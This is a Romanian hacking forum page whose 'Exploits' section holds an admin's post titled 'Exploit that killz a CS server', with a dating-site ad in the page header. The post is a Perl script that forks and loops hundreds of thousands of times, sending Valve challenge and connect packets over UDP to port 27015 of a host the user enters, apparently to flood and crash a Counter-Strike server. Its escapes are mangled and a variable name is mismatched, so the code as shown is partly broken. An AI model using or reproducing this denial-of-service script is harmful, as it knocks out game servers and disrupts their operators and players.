Asasinu
Welcome To Asasinu!!! Please Register To Have Acces To Evrithing !!! !FORUMUL ESTE IN PLINA DEZVOLTARE VA RUGAM SA NE AJUTATI! 		Lista Forumurilor Pe Tematici
Asasinu | Reguli | Inregistrare | Login

POZE ASASINU

Nu sunteti logat. 		Nou pe simpatie:
swiss_virginia Profile
Femeie
25 ani
Cluj
cauta Barbat
27 - 54 ani
Asasinu / Exploituri / Exploit that killz a CS server Moderat de Marius93, lypanu06
Autor
Mesaj Pagini: 1
Asasin
<<ADMIN>>

Din: Caracal
Inregistrat: acum 17 ani
Postari: 635
use IO::Socket::INET
print "the host..eg: 465.124.5.64 : ";
$HOST = <STDIN>;
chop ($HOST);
$i=0;
if (fork())
{       econnect($host); }
else
{

econnect($host); };
exit;

sub econnect($)
{
while($i<500000){
$i++;
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!n" unless $sock;
        $cmd="xffxffxffxff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"";
print '>',$q,"n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"n";
sleep 3;
close $sock;
}
}

_______________________________________

إلا الموتى وشهدت نهاية الحرب
pus acum 17 ani
   
Pagini: 1  

Mergi la